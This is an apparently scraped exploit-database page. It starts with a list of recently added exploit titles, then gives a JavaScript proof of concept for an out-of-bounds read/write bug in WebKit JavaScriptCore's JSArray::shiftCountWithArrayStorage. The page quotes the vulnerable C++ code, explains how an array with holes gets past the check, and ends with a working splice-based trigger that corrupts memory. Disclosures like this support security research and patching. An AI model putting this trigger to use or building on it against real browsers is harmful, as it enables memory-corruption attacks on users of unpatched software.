e8dcb9f022
12 changes to exploits/shellcodes EZ CD Audio Converter 8.0.7 - Denial of Service (PoC) NetworkSleuth 3.0.0.0 - 'Key' Denial of Service (PoC) NBMonitor Network Bandwidth Monitor 1.6.5.0 - 'Name' Denial of Service (PoC) WebKit JSC - 'AbstractValue::set' Use-After-Free WebKit JSC - 'JSArray::shiftCountWithArrayStorage' Out-of-Bounds Read/Write Ayukov NFTP FTP Client 2.0 - Buffer Overflow Hashicorp Consul - Remote Command Execution via Rexec (Metasploit) Hashicorp Consul - Remote Command Execution via Services API (Metasploit) WordPress Plugin Adicon Server 1.2 - 'selectedPlace' SQL Injection Frog CMS 0.9.5 - Cross-Site Scripting ZeusCart 4.0 - Cross-Site Request Forgery (Deactivate Customer Accounts) WSTMart 2.0.8 - Cross-Site Scripting ZeusCart 4.0 - Cross-Site Request Forgery (Deactivate Customer Accounts) WSTMart 2.0.8 - Cross-Site Scripting FrontAccounting 2.4.5 - 'SubmitUser' SQL Injection Craft CMS 3.0.25 - Cross-Site Scripting bludit Pages Editor 3.0.0 - Arbitrary File Upload WordPress Plugin Baggage Freight Shipping Australia 0.1.0 - Arbitrary File Upload bludit Pages Editor 3.0.0 - Arbitrary File Upload WordPress Plugin Baggage Freight Shipping Australia 0.1.0 - Arbitrary File Upload Vtiger CRM 7.1.0 - Remote Code Execution
41 lines
No EOL
1.5 KiB
JavaScript
41 lines
No EOL
1.5 KiB
JavaScript
/*
|
|
bool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStorage* storage)
|
|
{
|
|
unsigned oldLength = storage->length();
|
|
RELEASE_ASSERT(count <= oldLength);
|
|
|
|
// If the array contains holes or is otherwise in an abnormal state,
|
|
// use the generic algorithm in ArrayPrototype.
|
|
if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this))
|
|
|| hasSparseMap()
|
|
|| shouldUseSlowPut(indexingType())) {
|
|
return false;
|
|
}
|
|
|
|
if (!oldLength)
|
|
return true;
|
|
|
|
unsigned length = oldLength - count;
|
|
|
|
storage->m_numValuesInVector -= count;
|
|
storage->setLength(length);
|
|
|
|
|
|
Considering the comment, I think the method is supposed to prevent an array with holes from going through to the code "storage->m_numValuesInVector -= count". But that kind of arrays actually can get there by only having the holesMustForwardToPrototype method return false. Unless the array has any indexed accessors on it or Proxy objects in the prototype chain, the method will just return false. So "storage->m_numValuesInVector" can be controlled by the user.
|
|
|
|
In the PoC, it changes m_numValuesInVector to 0xfffffff0 that equals to the new length, making the hasHoles method return false, leading to OOB reads/writes in the JSArray::unshiftCountWithArrayStorage method.
|
|
|
|
PoC:
|
|
*/
|
|
|
|
function main() {
|
|
let arr = [1];
|
|
|
|
arr.length = 0x100000;
|
|
arr.splice(0, 0x11);
|
|
|
|
arr.length = 0xfffffff0;
|
|
arr.splice(0xfffffff0, 0, 1);
|
|
}
|
|
|
|
main(); |